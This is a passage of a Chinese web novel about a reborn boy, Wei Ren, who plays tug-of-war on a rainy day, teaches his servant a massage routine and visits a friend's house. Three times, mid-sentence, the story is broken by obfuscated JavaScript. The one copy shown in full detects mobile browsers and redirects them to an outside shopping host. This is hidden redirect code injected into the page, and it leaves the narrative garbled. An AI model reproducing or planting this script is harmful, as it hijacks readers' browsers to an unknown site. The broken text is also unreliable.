赵氏见二儿子怏怏不乐的模样,缓了缓口气:“四郎、五郎,你们以后还会不断遇到类似的、权贵可做而你们不能做的事。若是心有不甘,你们就要好好读书,如你们阿公那般,以学问晋身,成为朝廷的官员,若能因功封爵,你们受到的束缚就会越来越少。” 这还是赵氏第一次提及对两个儿子的期许,韦世然忙放下筷子和碗,向赵氏恭身应是。 韦仁却有些犹豫,他……他可没想过当官啊。 韦仁的梦想一直是拥有一间自己的医馆,上辈子这个梦想几乎就要实现了,结果一个闭眼加一个睁眼,一切成空。如今虽换了个时空,韦仁尚未对未来做太过明确的计划,但心底仍是隐隐惦念着他那家名为“决明”的医馆。 有韦世然的迅速反应做对比,韦仁的犹豫就分外明显,厅中几人不由纷纷将视线投向韦仁,韦仁诚实地说:“阿母,我没想过做官。” 赵氏并不意外,也没有不满,毕竟韦仁还小,哪怕是韦世然,恐怕也不太明白何为权贵。赵氏倒是有些好奇:“那你以后想做什么?” 韦仁没直接说当大夫开医馆的事,等时机合适,他会慢慢展现出对医学的兴趣,赵氏自然就会知道了,现在嘛,韦仁采取拖延战术:“等我想好了再告诉阿母?” 赵氏轻笑:“好。” 聊了些严肃的话题,早食的气氛便不如往日那般轻快,后半段的时间里,几人都没有说话。 不想,仅仅一刻钟的时间,外间的雨突然变大。 韦仁站在屋门前,隔着檐廊,看着雨水砸在大地上溅起的高高低低的水花,忍不住想:就算是披着蓑衣坐在车上,到学馆估计也会被淋湿,要不和赵氏说一说,今天请假得了? 站在一旁的韦世然却已经很有经验地转回头,望着赵氏问:“阿母,今天不用去上学了吧?” 赵氏也透过敞开的屋门看到了外面的瓢泼大雨,颔首:“若辰时前这雨还不停,今日就不必去学馆了。” 韦世然欢呼,韦仁也有点儿高兴,二人回到食案前,又各自让人盛了半碗粟米粥,配着小菜补了顿加餐以示庆祝。 虽然韦仁和韦世然摆出这副模样,不用想就知道二人很难踏实下心去自习,赵氏也没把他们拘在身边,只叮嘱兄弟两个必须完成每日的练字任务,在雨稍微小一些的时候就放他们回去了君子院。 韦仁想在院子里摆上盛器,他在窗边的榻上一边开着窗子听雨一边睡觉,韦世然则想在院子里踩水玩儿。听起来都是小事,但谁敢让他们吹风和淋雨呀?真要因为这个受凉生病,韦仁和韦世然能不能逃过一顿打不知道,君子院里服侍的几人肯定是逃不掉的。 阿桂几人愁得只想给老天爷跪下,求祂老人家赶紧放晴,让两位郎君去上学。 面对阿桂几个这等姿态,韦仁和韦世然只好作罢。 韦仁还好,虽然不能听雨有些微遗憾,但在昏昏暗暗的帐子里睡个回笼觉也是件美事。 韦世然却是不想睡觉,也踏实不下心读书,他只在书案前坐了不到一盏茶的功夫,就让石岩跑来韦仁这边传了三次话:第一次问韦仁在干什么,第二次问韦仁要不要玩儿点什么,第三次问韦仁要不要去他那里睡觉。 韦仁本就是想赖在床上散散懒,一时半会儿也没睡着,这下被闹得躺也躺不踏实。 最后一次,韦仁一骨碌坐起身,和站在床边的沈决明大眼瞪大眼:“要不你让石岩问问我大兄,他是不是打定主意不让我睡觉?” 沈决明转身就要去外间给石岩传话,被韦仁一把拉住衣摆:“哎,我说着玩儿的。” 沈决明回过头看向韦仁,有些不明所以。 韦仁抓抓头发:“算了,我去看看。” 韦仁重新披上外衣,和沈决明一前一后走到外间,就看到石岩站在屋门外的廊檐下,裤脚的颜色比裤腿更深一些,显然已经被浸湿了。 石岩看到韦仁出来,讪笑着喊了一声:“五郎君。” 韦仁点了点头,越过石岩,探头看向韦世然的屋子。 韦世然的书案正对着一扇矮窗,号称正在看书的韦世然此时却没有坐在蒲团上,而是扒着窗扇向这边探头探脑。 韦世然住在君子院的主屋,韦仁住在西厢,韦仁这边的屋门和韦世然内书房的窗户距离不远,哪怕隔着雨帘和廊檐投射的阴影,韦仁依然能看清楚韦世然的表情——完全不同于得知可以放假时的高兴劲儿,韦世然此时就差把“百无聊赖”四个字写在脸上了。 韦仁抬起双手圈在嘴前,大声问道:“大兄,要不要玩儿牵钩?” 韦世然立马来了精神,也大声回应:“怎么玩儿呀?屋子太小了!”别说牵钩,角抵都摆不开架势,不然韦世然也不会无聊了。 “你站在你那边的檐廊下,我站在我这边的檐廊下!” 韦世然干脆跑出来,站在屋门口,抬手来回比划了一下,大声回道:“家里没有这么长的篾缆!” 篾缆就是竹篾编成的绳子。在韦仁看来,这玩意儿作为牵钩时的道具,最大的问题不是难编或者长度,而是握起来十分辣手——字面意义上的辣手。 “不用篾缆,用麻绳!” 君子院内也没有太长的麻绳,不过阿桂和毋忧平时会制作和修整竹简,麻线是足够的,临时编一根粗一点的绳子也很快。 阿桂和毋忧不仅在两刻钟内编出一根成人拇指粗的长绳,按照韦仁的要求在绳子中间,用红色绢带系了一个青铜铃铛,还在两屋之间的空地上架起了两根竹竿,竹竿之间的范围是铃铛的安全区域,铃铛一旦越竿,胜负就分了。 韦仁对韦世然隔空讲了规则,这和韦世然平时玩儿的牵钩差别不大,只是那时的规则是某一队最前面的那个人越线就算那一队输。 为了平衡双方实力,沈决明和石岩也被拉进游戏,沈决明习过武,力量不输成年人,而石岩年纪最大、身材高壮。如此,韦仁加沈决明、韦世然加石岩的组合从表面上看起来正相当,甚至韦仁这边还显得弱势一些。 韦仁把麻绳在手上绕了一圈儿,略略后仰身体,双腿绷直,双脚稳稳戳在檐廊的地板上。通过手中的绳子,韦仁能清楚感受到绳子绷得笔直,另一边的韦世然应该也做好准备了。 韦仁大喊一声:“我们好了!” 韦仁只觉万事俱备,就等阿桂喊“开始”。 不过,在游戏方面,他终是差了韦世然许多经验——韦世然这时突然补充道:“哪队输了就要做二十次深蹲!阿桂,我们也好了!” 韦仁好悬没直接坐地上,但阿桂已经喊了“开始”,韦仁不想高声泄力,只能紧紧抓着手中的绳子,咬牙切齿地说:“沈决明,我现在一次都蹲不了!” 身后一片静默。 这种情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韦世然接连做了六十次深蹲后就不干了,把毋忧叫到他们的队伍里。结果三对二,韦世然那边仍是拉不过韦仁和沈决明,韦世然不甘心,让阿桂也去帮忙。 这下换韦仁不干了,韦仁隔空抗议:“三对二我就忍了,四对二也太不公平啦!” 韦世然也觉得这样就算胜利了,也是胜之不武,想了想说:“这次不管谁输谁赢都没有惩罚,行不行?” “可以!”韦仁对韦世然喊完,转头就压低了声音对沈决明说,“不管你能不能拉过他们,这次都让我大兄赢。” 沈决明看一眼韦仁,点了点头。 沈决明这次果然输了,而且他还输得十分“真实”——输之前,韦仁这边和韦世然那边很是进行了一番拉扯,铜铃在两根竹竿之间来来回回许久,双方都不肯松劲儿。 韦仁远远瞄着那铃铛距离正屋那边的竹竿只有不到一指距离时,悄悄松开了手中的绳子,韦仁还想着,少了他的一股力量,韦世然那边能把铃铛拉过竿就正好,结果,韦仁十分无语地看到绳子没往前移动半分,甚至还往他们这边移动了一点点。 韦仁深受打击,深吸了一口气才低声说道:“松手。” 话音才落,沈决明猛地松开手中的绳子,青铜铃铛伴随着叮叮当当的声音唰地一下就越过了靠近正屋那一边的竹竿,韦世然四人紧跟着东倒西歪地摔成了一串蚂蚱! 韦世然最先笑出声,随后另外三人也爆发出一声声大笑,韦世然躺在地板上高声宣布:“赢啦——!” 韦仁等了一会儿,见韦世然还不起身,扬声问道:“大兄,还继续玩儿吗?” 韦世然的胳膊高高扬起,扇子似地来回扇了几下:“不玩儿了!我的腿好酸!” 韦仁对着被麻绳摩擦得又红又烫的手心吹了吹,忍不住乐出声,心底十分畅快:哼哼,早食时他完全无法跪坐,是叉着腿坐的,引来家人们一顿好笑,其中要数韦世然笑得欢。 韦仁伸手就着雨水洗了手脸,然后就像个犯病的人似的,一边摇着脑袋、甩着手企图加速水汽蒸发的速度,一边吩咐沈决明,说出的话都跟着他的动作晃晃悠悠的:“你也洗洗手……洗完了就进屋来……我有事和你说……” 25.卫生 玩儿了大半个时辰,韦仁的瞌睡虫已经跑了,回到屋子后,床榻对韦仁的吸引力就没那么大了。韦仁想了想,索性坐到了书案前,当然,仍是叉开腿坐的。 沈决明走进来时,韦仁连墨都磨好了,听到动静,韦仁随口问道:“怎么洗了这么久?”韦仁抬头看过去,才发现沈决明手里捧着一套新的里衣,韦仁挑挑眉,“我身上没脏。” 沈决明伸出右手,食指指背自他自己的额头划了一下。 目之所及,沈决明的额头干净而干燥,韦仁也摸了一下自己的额头,水汽已经蒸发没了,不过指下的皮肤仍是带着一缕湿润气息的冰凉。 韦仁知道自己身上也出汗了,不过因为今天一直在下雨,他从早上起就感觉自己整个人都是潮乎乎的,就没太在意拔河时出的那点儿汗。 现在沈决明把衣服都拿来了,韦仁便从善如流地去床上换了干爽的里衣。 待换完了衣服,韦仁重新回到书案前,见沈决明拿着他换下的衣服要去外面,拦了一下:“等一下,我先和你说个事情,一会儿你不用来回跑了,自去休息就好。” 沈决明站住身,看向韦仁。 “你和沈常节给家僮训练也快二十天了吧?我不太知道你们训练时的具体情况,你们之前有没有跟我阿翁和阿母说过要怎么训练那些人?” 沈决明突然就想起了韦仁让他写的季度计划和教案,心下恍然,沈决明将衣服放到一边,半蹲到韦仁身边,在他面前的书案上划字:大姊事前有和许先生说要怎么训练,许先生同意了,我们才开始的。五郎君想我、我们也写一份计划和教案? “有成型的方案记下来供后人参考也好,我可以给你提供竹简和笔墨。”韦仁从笔盒中捡起一支毛笔, “我是突然想起来,给你提个醒,这事一时半会儿也了结不了,你们最好定期给许先生做次汇报,你们主动些总比让许先生追着你们问要好。” 接到训练家僮的命令后,沈决明想的只有怎么和沈常节配合,把这件家主交给他们的第一件任务做好,韦仁若不提,沈决明压根儿没想过中途汇报的问题,他也不知道沈常节有没有想过。 沈决明愣在原地,不自觉思考起要与许先生汇报哪些事,沈决明发愣的时间并不长,不过等他回过神时,韦仁早已开始垂首练字。 沈决明看了一眼韦仁沉静而专注的侧脸,站起身后复又躬身对韦仁深揖一礼,随后便安静地拿了衣服离开了房间。不久后,沈决明重新折返回来,在韦仁左手边的小几上放了一杯加了蜂蜜的温开水,又在韦仁的书案旁多点了两盏灯。 韦仁注意到沈决明的动作,对他笑了笑:“谢谢。” 雨势时大时小却始终未停,一上午过去,韦仁不仅写完了大字,还把《孝经》拎出来,背诵了一章,并试着自己做了句读。 按照韦仁现在学习《仓颉篇》的速度,再有两个月他就能结束这门课程,韦仁打算提前预习一下《孝经》,他倒是没想一定要熟记全文,只是想起来时会拿出来读一读,纵一时忘了也无所谓,韦仁的想法是,先和这部注定要学习的经书混个脸熟,以后再背也会事半功倍。 韦仁不知不觉自修了一整个上午,午休过后,韦仁想起自己原本的打算,越想越觉得亏欠了自己。孩子的时间就是用来浪费的,难得的休息日,他总不能比在学馆时学习的时间还长吧? 打定了主意,韦仁就愉快地决定今天下午就用来混日子了。 正好,韦世然这时候也不能过来打扰他——韦世然做深蹲蹲得腿酸,阿桂就给韦世然做按摩帮他放松,韦世然被揉揉捏捏、捶捶打打得太过舒坦,一不小心就把上午的时间睡过去了。 这原本是韦仁计划过的日子,韦世然过起来也挺美,只是赵氏很担心大儿子美得拿不起笔,便要求他把课业拿去正院,什么时候完成,什么时候放他自由。 枯坐无趣,韦仁还不被允许长时间在窗边赏雨,稍微琢磨了一下,韦仁就把在杂物房清理竹简的毋忧薅到了自己面前,让他给自己读《内经》。 家里也有游记之类的杂文,听起来其实比《内经》这样的书有意思得多,只是,哪怕已经是偏白话的杂文,书面用语仍是会令韦仁费解。他也不是完全听不懂,但必须要用心去分辨和思考文意,比听已经烂熟于胸的《内经》费劲许多。 毋忧读《内经》的状态就要比韦仁难过太多,他给韦仁读这书已有一年,从最开始的十个字里只认识一两个字,到如今十个字里能认识至少一半,进步十分巨大。 韦仁倚靠在软枕上,左腿搭在右腿上一翘一翘的,一边吃枇杷,一边时不时纠正毋忧读错的字,过得十分惬意。 毋忧这时候看韦仁,真是一点儿也看不出来他身上有哪里不舒服,可到了习武的时辰,韦仁那腿抖得,毋忧都觉得下午在自己余光里不停晃啊晃的一双小短腿可能是假的。 韦仁对于扎马步其实有些犯怵,从用完晚食到酉正这段时间,韦仁一会儿想着要不练一天休一天,一会儿想着以前的一个朋友似乎是练一休二,那还是她的健身教练建议的。 韦仁在脑子里纠结了半个时辰,待到沈决明来找他,示意院子里的积水和蚯蚓都被清扫干净了,他可以去练功了,韦仁什么也没说,脸上平静如水,内心悠悠叹息地跟着去了。 蹲马步时,韦仁的身体,特别是双腿果然比昨天还要酸疼,就连似乎没怎么用力的上臂都有些微沉重,不过,韦仁仍然坚持蹲十息,只是延长每组马步间的时间,从十息换成了二十息。 沈决明没说什么,他还给韦仁记录了次数,最后让韦仁比前一日多蹲了五组,才比了个“可以了”的手势。 虽然在晚食前雨就停了,但地面此时还湿润着,韦仁没往地上坐去,他也没让沈决明和毋忧马上给他按摩,而是跟着沈决明压了一刻多钟的腿。 自觉担任韦仁习武助理的毋忧看到韦仁那“生动”的表情,担忧地问:“今天不用按摩吗?”毋忧以为韦仁受不了按摩时的酸疼,打算偷懒了。 “我先洗澡,洗完了让沈决明给我按按就行了。”韦仁对毋忧说话很直接,“他的手法更专业,等我和梅先生说一说,你和阿桂得再学学。” “唯。”毋忧看一眼已经沾满了半身湿沙子还精神奕奕在沙坑里角抵的韦世然,问韦仁,“水已经烧好了,现在就去洗吗?” “嗯。” 韦仁不止自己洗,在沈决明的帮助下顺利走进浴桶后,韦仁一手扒着浴桶的边缘,一手冲着沈决明挥了挥:“今天不用你给我擦背,你先去洗漱吧,记得把脚洗了,一定要洗干净,不然不让你进屋。” 沈决明被韦仁蒙头砸过来这样一个要求,略深的肤色霎时烧了起来,沈决明第一反应是怀疑韦仁是不是闻到了什么味道?可看着韦仁,在他的神情中又找不到嘲讽和嫌弃,沈决明最后只得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138142|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窘迫地点点头,迅速退出了湢室。 毋忧也听到了韦仁的话,等沈决明退出去了,才说:“五郎君,我们每天都有好好洗脚。”用阿桂妻子的话说,君子院这几个人的脚比韦家许多僮人的脸还干净呐。 毋忧几个男人也不是天生就爱干净,除了在两位郎君身边服侍必须保持清洁的原因外,主要还是因为韦仁事多。 阿桂几人在家僮中已经算是中上阶级,但他们依然没有条件日日沐浴,天气冷时,热水很不易得,天气暖时,汗出得多,他们又要做活,最多两日不洗,身上就会有汗味。虽然君子院里有个供他们使用的公用的浴桶,他们也各自有脸盆和脚盆,但洗洗涮涮这事,谁干谁知道有多麻烦。 阿桂就想了个快速洗掉汗味的办法——拿盆子盛上水往身上倒,倒上两三盆,身上全都沾了水,基本也就没有汗味了。 结果被韦仁撞见过一次,韦仁就用他那奶呼呼地声音教训道:“懒死你们算了,若是不肯每天好好洗漱,我说的是从头到脚,不洗干净就不许踏进我的屋子半步。” 韦仁也不想对阿桂几个管头管脚,奈何这时候,许多人能一个月甚至几个月不洗头,也能许久不洗脚,衣服更是不可能勤换,不说有没有足够的换洗衣服,衣服洗多了是很容易坏的,一般人根本换不起。 阿桂和毋忧在韦仁的督促下自认已经足够干净清爽,奈何韦仁的嗅觉十分灵敏,在外面也就忍了,在自己的地盘上,韦仁才不会委屈自己。 韦仁不打算委屈自己,也不能让阿桂和毋忧用凉水洗头泡脚,夏天可以晒水,但其他三季必须烧柴煮水,韦仁就向赵氏多要了些柴炭。 韦仁那时只想着身边人的卫生问题,直到一个多月前,赵氏盘上一年的账时,韦仁偶然看到君子院的柴炭用度要远高于正院和扫眉院,甚至直逼东厨的用柴量,韦仁这才知道,让两个人保持清洁需要多花多少钱。 身为韦玄成和赵氏的亲子,君子院里的人有些优待也不是什么大事,但韦仁不太想给赵氏添加这样的麻烦,特别是在韦世然并没有特别要求,而他自己只负责花钱,连一枚五铢钱都没赚过的情况下。 同时,韦仁也不想君子院出这样的风头,有很多事好做不好听,君子院里舒服了,其他院子的人除了羡慕、戏谑,难道会没有一点嫉妒? 韦仁本来还在愁柴炭的问题怎么解决,后来他要种水稻,有了羊粪的事,韦仁便想起了一个主意。 韦仁拿了十铜钱给石岩,让石岩去找他阿翁,石大郎——石大郎负责牲畜棚,自然可以处置牲畜棚内产出的各种粪便,而晒干的牛粪和马粪是天然的燃料。 石岩和石大郎也如韦仁料想的那般以为他是要来做粪肥用的,除了腹诽五郎君对粪肥情有独钟外,倒也不觉韦仁这个要求有什么奇怪的。 虽然韦仁吩咐的事情又臭又脏、偶尔还会遇到类似下雨必须临时转移粪便的问题,石大郎接了那不够丰足的打赏钱后,仍是十分仔细地在牲畜棚内腾出一间闲置的小屋,想着若是韦仁一时用不到,就把晒好的粪块放到里面,免得摊在外面不好看。 话说回现在,韦仁沐浴完毕后,就把已经洗漱完毕的沈决明带回了房间。 韦仁站在榻边,一边从一个铜制小盒里抠了一块深褐色的脂膏抹在手心里,一边冲着矮榻扬扬下巴,对沈决明说:“把足衣脱了,坐到榻上去。” 沈决明:?! 26.做客一 沈决明一瞬间还以为自己听错了,等韦仁又重复了一遍,沈决明才不可置信地看向韦仁,这次他不用划字,韦仁就知道他要说什么:你要干什么? “我学了点儿按摩的本事,你帮我试试,要是不错,你也学学,我这胳膊腿以后还得指望你呢。” 半晌,见沈决明仍是不动,韦仁举着沾满了脂膏的双手,催促道:“快点儿,给你试完,你再帮我按,我的腿快难受死了,昨天疼得我差点儿失眠。” 沈决明真想说“你难受我现在就给你按摩”,可看韦仁那自己不听话他就不罢休的架势,沈决明只好妥协,上榻前他下意识地看了一眼屋门,心中略有担忧,若是被人看到五郎君给他按摩,不知道他会不会被赶出韦家。 韦仁没察觉沈决明的忧虑,只两手交握着揉搓,把手中的脂膏揉得吱吱作响:“用心看,一会儿你按照我的手法给我按摩试试,有什么想法直接与我说,咱们一起琢磨出一个最佳方案。” 沈决明知道韦仁很爱干净,比如韦仁哪怕只是摸了一下鞋子——他脚上那种除了鞋底没有一丝脏污的鞋子,韦仁也会马上去洗个手,哪里想的到,等他按照韦仁的要求脱了足衣,伸直双腿坐到矮榻上后,韦仁只盯着他的脚,说了一句“你的脚心有些白呀”后,就用两只小手握住了他的右脚。 沈决明无意识地抖了一下,韦仁却已经开始把手上的油往他的脚上抹,嘴里还叨叨:“把裤腿往上抻抻,别沾上脂膏。” 韦仁一边按,一边给沈决明解释按揉的位置和手法要领,还和沈决明对“暗号”:“左手大拇指代表疼、食指代表麻、中指代表痒、无名指代表酸、小指代表胀,右手连拍两下代表非常不舒服,我会停下来。” 韦仁的神色很是严肃,解说也是条理分明,沈决明尽管对韦仁按摩的本事心存疑虑,不过仍是听得认真,也打算无论韦仁按成什么样他都会忍着。 哪儿想,计划赶不上变化,韦仁手指无力,别说舒爽了,哪怕是酸疼呢,沈决明都能忍下来,结果沈决明只感觉到小虫子在皮肤上爬过时的那种痒意,当韦仁按住他脚心的时候,那种痒意简直让沈决明抓狂。 沈决明实在是忍无可忍,他没敢抽回腿脚,只伸直左手中指在韦仁眼前拼命晃动! 韦仁突然被一根中指怼到眼前,心里先是一怒,不过很快反应过来这是二人说好的暗号,韦仁抬头看向沈决明,只见沈决明颊边的咬肌都出现了。 沈决明的身体开始紧绷时,韦仁就察觉了,不过那时候他以为沈决明就是被他按摩有些紧张,现在一看沈决明的模样——憋红的脸颊、紧抿的双唇,以及那双扭曲了笑意、尴尬和羞窘的眼睛,再加上沈决明明示出来的暗号…… 韦仁后知后觉地反应过来,试探地问道:“痒?” 沈决明悄悄松了口气,随后便重重点了下头。 韦仁又着重按了几个穴位,问道:“除了痒,还有别的感觉吗?” 沈决明摇头,眼见着五官又要扭曲到一起去了。 韦仁有些纳闷,湿气排出时刺激到皮肤从而产生痒意是一件很正常的事,但只有痒意就很奇怪了。 为了避免是因为沈决明单纯怕痒,韦仁开始在他的小腿上推压揉按,一边按一边关注沈决明的反应,结果除了左手中指,沈决明再没竖起过其他手指,搞得韦仁十分挫败。 韦仁给沈决明按了两刻钟才停手,韦仁一边甩手一边说:“累死我了,差不多就是这样。你仔细回忆回忆,我先去洗个手,等我回来你给我按。” 都说按摩能让人放松,沈决明的身上却一点儿也不好受,出了一身的汗不说,因为忍受痒意,身体绷得久了,他比按摩前还觉得疲乏。若不是身份不允许,沈决明真想和韦仁说,你这是何苦来哉呢! 不过韦仁自有主意,沈决明也隐约能察觉出,韦仁并不是乱按一气,等韦仁重新回来后,沈决明便也规规矩矩地按照韦仁的指导,给韦仁进行了一次按摩。 可能是因为身体比前一天更适应习武,也可能是因为韦仁的推拿方案确实比沈决明和毋忧的更适合他自己,韦仁第二日虽觉得手脚仍是不那么得劲儿,但总算可以勉强跪坐,不用把脸丢到学馆去了。 沈决明在韦仁身上实践了四次,又私下里练习了几次,基本掌握了韦仁制定的这一套推拿方案,时间也来到了休沐日。 韦仁按照约定,乘坐着石大郎驾驶的牛车,由沈决明跟着,在辰时到达了位于城南的熊大宝的家。 韦仁坐在车上,远远就看到了熊大宝站在熊宅大门外的石阶下,正抻着脖子往他这边张望。 二人四目相对,韦仁对熊大宝挥挥手,熊大宝立马露出一个笑容,也对韦仁招了招手。 待到牛车行驶到熊宅大门前,韦仁被沈决明抱下车,走到熊大宝面前两步远时,熊大宝打量着韦仁,忍不住围着他转了一圈儿。 “五郎,你今天好俊啊!” 韦仁矜持地应下这份夸奖:“第一次来你家做客,自然要庄重些。” 事实是,韦仁第一次被同窗邀请去做客,赵氏十分重视,给韦仁选了一套镶金边的天蓝色宽袖深衣,配上纹线华丽的牛皮腰带和一套样式古朴的组玉佩,再加一双绣着暗纹的云头履,把韦仁打扮得那叫一个瑞气千条。 熊大宝觉得自己受到了重视,也很高兴:“快进来,我阿母正在正堂等着咱们。” 韦仁有些意外,因为从熊大宝透露的信息来看,熊大宝的母亲金氏是个大忙人,别说五日一休,半个月都不一定会休息一日。 熊宅比韦家还要大一点,韦仁跟着熊大宝走了一刻钟才走到正堂,金氏果然等在那里。 因为是初次登门拜访,韦仁高举手臂向金氏行了长揖礼:“请金伯母安。”起身后,韦仁从沈决明手里接过食盒,“这是我阿母命家里厨娘准备的桃花饼,桃花是我亲自摘的,请金伯母和大宝尝尝味儿。” 金氏示意熊大宝接过食盒,笑眯眯地对韦仁说:“替我谢谢令堂。今天你就在家里好好玩儿,午食也在这里用,听大宝说你喜食甜,厨房那边特意准备了几样偏甜的菜色,你正好可以尝一尝。” “谢谢金伯母。” 金氏陪着韦仁又说了一会儿话,就让熊大宝带着韦仁去他自己的院子玩儿了,韦仁午食时没看到金氏,才知道金氏是特意留在家里等着见他的,待见完了就去铺子了。 熊大宝邀请韦仁来家做客,也是做足了准备,他先是领着韦仁参观了一下他独居的院子,还将那只据说和韦仁很像的大黄介绍给了韦仁。 大黄就如熊大宝所说,真是只懒狗,看到韦仁这个陌生人连叫都没叫一声,也没有起身迎接熊大宝,只在熊大宝摸它的狗头时,悠闲自在地摇了摇尾巴。 韦仁看着大黄的狗窝——一个开了一面的木箱子,外形虽简陋了些,但足够宽敞,再睡四五只与大黄一样的胖狗都绰绰有余的宽敞,箱内的木板上还铺了很厚的垫子,看起来就很舒服,最最重要的是,垫子上还摆了两个陶盆,一个盆里盛放着清水,一个盆里则躺着两块没啃完的骨头——这待遇,真是比许多人都强。 韦仁感叹:“真是狗生赢家啊!” 看完大黄,熊大宝领着韦仁走到院中一侧的月季花架旁,花架前摆放着投壶用的道具。 “五郎,你投壶玩儿得好吗?” “还行。”韦仁走到壶边,伸出手指推了推壶口,没有推动,“你在壶里盛了豆子?” “是啊。”熊大宝也走到壶边,“有什么不对的?”壶中盛豆子是为了箭入壶中后可以不弹出来,这是很传统的做法。 “那倒不是。”韦仁与熊大宝解释,“我一位从兄在长安,他寄回来的信中有写那边的投壶规矩,说是先帝时一位姓郭的大人发明的,他们现在不比谁投进壶中的箭矢数量了。” 熊大宝好奇:“那比什么?” 韦仁捡了一根箭矢:“把豆子倒出来,我投给你看。” 熊大宝忙叫僮人将豆子倒出来,韦仁则退后几步,在距离壶不到三箭的地方站定,眯着眼睛瞄了瞄壶口,韦仁手臂一收一甩,箭矢射出,“当啷”一声,直直落入壶中。 熊大宝欢呼:“有初!” 呼声未落,投入壶中的箭矢弹跳而出,韦仁探手一捞,就将跃出壶的箭矢攥进了手里,韦仁看向目瞪口呆的熊大宝,摇了摇手中的箭矢:“看到没,就这样玩儿,只要接到就能连投,连投次数最多的人算胜。” 熊大宝跃跃欲试:“我试试!” 熊大宝连试十次,除了有三箭连壶都没入,其他七次倒是都成功入壶,但箭矢也只成功跳出来五次,还跳得“三面五方”的,总之是没向熊大宝的方向跳。 熊大宝很沮丧:“好难啊!” 韦仁坐在旁边的席子上,一点儿也不意外:“你已经很不错啦,我在投壶上很有天分,也练了两个月,才有七八分的准头。” 不止熊大宝,围着他们的几个僮人,包括沈决明都看向韦仁,不过只有熊大宝将心声说出了口:“五郎,你可真不谦虚。” 韦仁一点儿没觉得羞:“我说的是实话呀,我连投的最高记录有33算呢。”说起来,韦仁觉得他所有的运动天分大概都点在投壶上了。在韦赏的信中,他见过的最高记录也才42算,算上自己的年纪,韦仁觉得拿个全国冠军简直指日可待。 熊大宝这下也不鄙视韦仁了,赞叹道:“那你可太厉害了!” “过誉了、过誉了。”韦仁扫一圈儿站着的几个人,与熊大宝建议,“只有咱们两个人玩儿太没意思了,大家一起吧。每人五只箭,箭矢入壶算一算,入壶又跳出的算两算,能接住跳出来的箭矢算三算,除了第一名,其他人都要受罚,和第一名差多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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熊大宝见到那妇人,先开口叫了一声:“奶娘。” 奶娘笑应一声:“我亲自下厨做了几样小食,大郎和韦小郎君正好尝尝。” 食盒打开,里面一共有七样点心果干,包括韦仁当作礼物送来的桃花饼,此外还有两碗蜜水以及一碗黑乎乎的汤药。 韦仁闻到味道后,从书架前走到熊大宝坐着的榻边,问道:“这是梅先生给你开的药?” 熊大宝苦着脸:“嗯。”他之前吃的都是丸药,结果梅先生开得竟是需要煎服的药,那味道就不用提了,有这个对比,熊大宝觉得会噎嗓子的丸药都可爱多了。 “很苦吗?我尝尝。” 拿着药碗,正端给熊大宝的奶娘的手一颤,惊奇地看向韦仁:“韦小郎君,这、这药可不能乱吃。” 韦仁看一眼那奶娘,没说话。 熊大宝由衷希望韦仁能帮他尝下去半碗,一点儿没犹豫地从奶娘手里接过药碗,然后双手将碗捧到韦仁的嘴边:“你全喝了也可以。” 奶娘想阻止,不过韦仁下嘴很快,当然,他也不会如熊大宝所愿,只抿了一口。 半晌后,韦仁眉头轻轻蹙了一下,熊大宝脾气虚亏,梅先生开的药也还算对症,只是还可以有更好的配伍。 韦仁看了看熊大宝的脸色,问道:“你吃梅先生的药,感觉怎么样?” “苦。” 韦仁翻了个白眼:“我是说你的病,和以前比,流鼻涕的次数有没有少一点?” 熊大宝想了想:“好像是好一点,但也没有好太多,不过我最近能多吃半碗饭,我阿母说,这就很好了。” 韦仁犹豫了一下,才说道:“你家厨师的手艺很不错,你可以让他给你做山药胡荽粥,听说吃了对身体好。” “好吃吗?”熊大宝很期待,继而提出疑问,“山药是什么?还有胡荽,我好像听过,但没吃过?” 韦仁:…… 拿着药碗还没离开的奶娘插了句嘴:“大郎,你以前吃过一次,说是不喜,后来做菜就没放过了,若是想吃,新鲜的要等到下个月。” 熊大宝对胡荽是完全没有印象的,所以奶娘虽然说他不喜,他也不抵触,只问:“那山药呢?” 奶娘这次摇了摇头,有些茫然:“我去厨房那里问问,到时候再与大郎说可好?” 熊大宝一边又往嘴里塞了一块儿麦芽糖,一边点了点头:“行。” 等奶娘离开书房,韦仁才与熊大宝说:“厨师若是不知道,可以去药铺问问,米最好用稻米,若是没有,用粟米凑合凑合也行。”随后,韦仁又给熊大宝讲了讲山药胡荽粥的做法,确定熊大宝记住了,韦仁没再多说其他,也没强调药他一定喝。 熊大宝却很知道好赖,握住韦仁的手,十分感动地说:“五郎,这是你特意给我寻的膳方吗?” 韦仁没想到熊大宝能直接反应出他说的是药膳,顿了一下才应道:“算是吧,我也是听别人说的。” “你对我真好。” 韦仁也觉得自己对熊大宝还算不错了,这次的头就点得干脆了点儿,然后眼珠子一转,韦仁回握住熊大宝的手:“咱们是朋友嘛,我也有事想请你帮个忙。” 27.做客二 “什么忙?” “你家的漆器可以订做不?我想做个婴儿用的浴盆。”无论是赵氏还是韦玄成,都很重视他们兄弟姊妹之间的感情,韦仁对还没出生的小婴儿自然没啥感情,不过他觉得可以让赵氏开心一下。 “可以的。你想要哪种的?架子上那些,我家都能做。” “重点不是我想要哪种。”韦仁笑不露齿,“重点是我能买得起哪种。” 